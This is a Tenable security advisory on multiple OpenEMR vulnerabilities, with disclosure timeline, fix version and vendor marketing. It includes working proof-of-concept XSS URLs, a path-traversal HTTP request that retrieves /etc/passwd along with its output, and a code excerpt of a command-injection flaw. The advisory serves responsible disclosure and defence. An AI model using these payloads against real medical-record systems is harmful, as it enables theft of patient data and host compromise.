Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

OpenEMR Multiple Vulnerabilities

High

Synopsis

Tenable researchers have discovered a number of flaws in OpenEMR - a popular, open-source medical records application. These flaws, detailed below, could allow attackers to obtain sensitive patient data or possibly execute arbitrary code on the host system.

XSS - controller.php - patient_id parameter - CVE-2019-3963

controller.php is vulnerable to a reflected cross-site scripting attack via the patient_id parameter. This could allow an attacker to execute arbitrary code in the context of the current user's session.

Proof of concept: http://<openemr host>/controller.php?document&clear_procedure_tag&patient_id=0"><script>alert("XSS")</script>&document_id=

XSS - controller.php - doc_id parameter - CVE-2019-3964

controller.php is vulnerable to a reflected cross-site scripting attack via the doc_id parameter. This could allow an attacker to execute arbitrary code in the context of the current user's session.

Proof of concept: http://<openemr host>/controller.php?document&view&patient_id=0&doc_id=0"><script>alert("XSS")</script>

XSS - controller.php - document_id parameter - CVE-2019-3965

controller.php is vulnerable to a reflected cross-site scripting attack via the document_id parameter. This could allow an attacker to execute arbitrary code in the context of the current user's session.

Proof of concept: http://<openemr host>/controller.php?document&clear_procedure_tag&patient_id=0&document_id=1"><script>alert("XSS")</script>

XSS - controller.php - foreign_id parameter - CVE-2019-3966

controller.php is vulnerable to a reflected cross-site scripting attack via the foreign_id parameter (POST request). This could allow an attacker to execute arbitrary code in the context of the current user's session.

Directory Traversal and Arbitrary File Download - Patient File Downloads - CVE-2019-3967

A vulnerability exists in the patient file download interface that allowed authenticated users to download arbitrary files from the host system. This could allow an attacker to obtain sensitive patient information.

Proof of concept request:

POST /interface/patient_file/download_template.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/controller.php?document&upload&patient_id=0&parent_id=1&
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Connection: close
Cookie: OpenEMR=ac4ac95557810d61c49af51436209596
Upgrade-Insecure-Requests: 1

patient_id=0&form_filename=../../../../../../../../../../../etc/passwd

Response:

HTTP/1.1 200 OK
Date: Tue, 16 Apr 2019 15:00:22 GMT
Server: Apache/2.4.34 (Unix)
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Description: File Transfer
Content-Transfer-Encoding: binary
Content-Disposition: attachment; filename="passwd_Doe_2."
Content-Length: 1271
Connection: close
Content-Type: application/octet-stream

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
apache:x:100:101:apache:/var/www:/sbin/nologin

Command Injection via /contrib/forms/scanned_notes/new.php - CVE-2019-3968

Unlike other uses of "exec" / "system" / "passthru" / etc., this form does not properly escape commands sent to the host OS, which allows for command injection via an authenticated user that has access to the scanned notes form. $formid is influenced directly by the user and passed directly into the commands executed later in the script. This could allow an attacker to inject arbitrary commands to be executed on the host system.

$formid = $_GET['id'];

...

$imagepath = "$imagedir/${encounter}_$formid.jpg";
                                     ^____ user controlled value

...

$cmd = "convert -density 96 '$tmp_name' '$imagepath'";
                                         ^____ Still contains user controlled value with no sanitation

...

$tmp0 = exec($cmd, $tmp1, $tmp2);
             ^___ command is executed

Solution

Update to the latest available version of OpenEMR. At the time of this writing, fixes are available in 5.0.2.

Disclosure Timeline

April 16, 2019 - Tenable requests security contact from OpenEMR maintainers.
April 22, 2019 - OpenEMR project administrators respond stating that contact information is on its way.
April 23, 2019 - Tenable sends reminder about contact information.
April 24, 2019 - Tenable sends reminder about contact information.
April 29, 2019 - Tenable sends reminder about contact information.
May 3, 2019 - Tenable sends final security contact request.
May 4, 2019 - OpenEMR admin (Brady G. Miller) provides contact information.
May 6, 2019 - Tenable discloses issues to OpenEMR. (90 day timeline is now Aug 4.)j
May 13, 2019 - Tenable requests status update.
May 14, 2019 - OpenEMR states that all issues have been fixed and committed to master branch. Expected official release in 4-6 weeks.
July 8, 2019 - Tenable requests status update and provides OpenEMR admin with CVE assignments.
July 9, 2019 - OpenEMR states patch will be available by end of month.
August 2, 2019 - Tenable grants two week extension.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2019-40
Credit:
Jimi Sebree
CVSSv2 Base / Temporal Score:
9.0 / 7.0
CVSSv2 Vector:
AV:N/AC:L/Au:S/C:C/I:C/A:C
Affected Products:
OpenEMR 5.0.1 and earlier
Risk Factor:
High

Advisory Timeline

August 19, 2019 - Initial release.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Web App Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management and Tenable Lumin.

Buy Tenable Web App Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management and Tenable Web App Scanning.

Buy Tenable Lumin

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable Nessus Professional Free

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro Trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Try Tenable Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training